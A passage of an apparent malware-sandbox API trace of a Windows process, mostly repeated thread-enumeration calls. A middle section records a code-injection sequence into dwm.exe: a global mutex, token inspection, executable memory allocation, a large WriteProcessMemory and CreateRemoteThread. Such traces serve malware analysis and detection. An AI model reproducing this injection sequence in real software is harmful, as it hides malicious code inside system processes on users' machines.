lpte=0x2d5eb48) returned 1 [0103.921] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.921] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.922] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.923] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.923] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.924] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.925] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.925] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.926] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.927] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.927] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.928] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.929] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.929] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.930] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.931] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.931] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.932] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.933] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.933] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.934] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.965] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.966] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.967] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.968] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.968] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.969] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.970] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.970] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.971] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.972] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.973] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.973] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.974] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.975] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.975] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.976] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.977] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.977] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.978] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.979] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.979] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.980] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.981] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.982] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.982] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.983] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.984] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.985] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.985] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.986] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.987] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.987] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.988] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.989] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.989] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.990] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.991] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.991] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.992] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.993] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.994] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.994] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.995] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.996] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0103.996] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.043] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.044] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.045] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.045] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.046] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.047] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.048] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.048] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.049] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.050] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.051] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.051] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.052] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.053] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.053] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.054] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.055] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.055] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.056] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.057] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.057] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.058] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.058] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.059] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.060] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.061] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.061] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.062] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.063] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.063] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.064] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.065] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.066] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.066] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.067] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.068] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.068] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.069] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.070] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.070] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.071] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.072] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.073] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.073] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.074] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.075] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.123] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.124] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.124] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.125] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.126] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.126] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.127] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.128] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.128] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.129] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.130] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.130] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.131] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.132] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.132] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.133] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.134] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.134] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.135] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.136] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.136] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.137] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.138] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.139] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.139] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.140] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.140] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.141] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.142] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.142] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.143] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.144] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.144] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.145] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.146] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.146] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.147] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.148] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.148] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.149] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.150] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.150] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.151] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.152] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.152] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.153] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.154] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.155] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.155] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.156] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.157] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.157] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.158] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.159] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.159] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.160] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.161] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.161] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.162] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.163] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.163] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.164] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.165] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.166] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.166] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.167] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.168] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.168] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.178] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.178] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.179] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.180] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.180] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.181] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.182] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.182] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.183] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.184] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.185] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.185] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.186] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.187] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.187] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.188] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.189] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.189] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.190] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.191] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.192] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.192] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.193] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.194] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.194] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.195] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.196] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.196] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.197] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.198] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.199] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.199] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.200] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.201] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.201] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.202] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.203] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.203] Thread32Next (hSnapshot=0x13bc, lpte=0x2d5eb48) returned 1 [0104.258] CreateRemoteThread (in: hProcess=0xef8, lpThreadAttributes=0x2c72b60, dwStackSize=0x0, lpStartAddress=0x11ad14, lpParameter=0x150000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13bc [0104.258] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13d8, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5ec18, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5ec18*=0x22c) returned 1 [0104.258] CloseHandle (hObject=0x13bc) returned 1 [0104.258] CloseHandle (hObject=0xef8) returned 1 [0104.258] CloseHandle (hObject=0x13d8) returned 1 [0104.258] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0104.266] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0104.266] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13d8 [0104.266] GetLastError () returned 0x0 [0104.266] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x55c) returned 0xef8 [0104.266] OpenProcessToken (in: ProcessHandle=0xef8, DesiredAccess=0x8, TokenHandle=0x2d5f810 | out: TokenHandle=0x2d5f810*=0x13bc) returned 1 [0104.266] GetTokenInformation (in: TokenHandle=0x13bc, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2d5f780 | out: TokenInformation=0x0, ReturnLength=0x2d5f780) returned 0 [0104.266] GetLastError () returned 0x7a [0104.266] GetTokenInformation (in: TokenHandle=0x13bc, TokenInformationClass=0x1, TokenInformation=0x4720b00, TokenInformationLength=0x2c, ReturnLength=0x2d5f780 | out: TokenInformation=0x4720b00, ReturnLength=0x2d5f780) returned 1 [0104.266] GetTokenInformation (in: TokenHandle=0x13bc, TokenInformationClass=0xc, TokenInformation=0x2d5f924, TokenInformationLength=0x4, ReturnLength=0x2d5f80c | out: TokenInformation=0x2d5f924, ReturnLength=0x2d5f80c) returned 1 [0104.266] CloseHandle (hObject=0x13bc) returned 1 [0104.266] CloseHandle (hObject=0xef8) returned 1 [0104.267] GetLengthSid (pSid=0x4720b10*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xc4))) returned 0x1c [0104.267] OpenProcess (dwDesiredAccess=0x47a, bInheritHandle=0, dwProcessId=0x55c) returned 0xef8 [0104.267] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77320000 [0104.267] GetProcAddress (hModule=0x77320000, lpProcName="IsWow64Process") returned 0x773291d0 [0104.267] IsWow64Process (in: hProcess=0xef8, Wow64Process=0x2d5eb64 | out: Wow64Process=0x2d5eb64) returned 1 [0104.267] VirtualAllocEx (hProcess=0xef8, lpAddress=0x0, dwSize=0x3c000, flAllocationType=0x3000, flProtect=0x40) returned 0x1fe0000 [0104.347] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0x1fe0000, lpBuffer=0x2c90000*, nSize=0x3c000, lpNumberOfBytesWritten=0x2d5e4f8 | out: lpBuffer=0x2c90000*, lpNumberOfBytesWritten=0x2d5e4f8*=0x3c000) returned 1 [0104.350] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x67c, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb90, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb90*=0xe4) returned 1 [0104.350] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xa30, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb88, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb88*=0xd8) returned 1 [0104.350] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xa44, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb80, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb80*=0x13c) returned 1 [0104.350] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x49c, hTargetProcessHandle=0xef8, lpTargetHandle=0x2d5eb78, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2d5eb78*=0x154) returned 1 [0104.350] VirtualAllocEx (hProcess=0xef8, lpAddress=0x0, dwSize=0xbf4, flAllocationType=0x3000, flProtect=0x4) returned 0x120000 [0104.350] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0x120000, lpBuffer=0x2d5ec24*, nSize=0x4, lpNumberOfBytesWritten=0x2d5ec28 | out: lpBuffer=0x2d5ec24*, lpNumberOfBytesWritten=0x2d5ec28*=0x4) returned 1 [0104.350] WriteProcessMemory (in: hProcess=0xef8, lpBaseAddress=0x120004, lpBuffer=0x4743930*, nSize=0xbf0, lpNumberOfBytesWritten=0x2d5ec28 | out: lpBuffer=0x4743930*, lpNumberOfBytesWritten=0x2d5ec28*=0xbf0) returned 1 [0104.350] CreateToolhelp32Snapshot (dwFlags=0x4, th32ProcessID=0x0) returned 0x13b0 [0104.352] Thread32First (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.353] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.354] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.354] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.355] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.356] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.356] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.357] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.358] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.358] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.359] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.360] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.360] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.361] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.362] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.363] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.363] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.364] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.365] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.365] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.366] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.367] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.367] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.368] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.369] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.369] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.370] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.371] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.371] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.372] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.373] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.373] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.374] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.375] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.376] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.376] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.377] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.378] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.378] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.379] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.380] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.381] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.381] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.382] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.383] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.383] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.384] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.385] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.385] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.386] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.387] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.434] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) returned 1 [0104.435] Thread32Next (hSnapshot=0x13b0, lpte=0x2d5eb48) 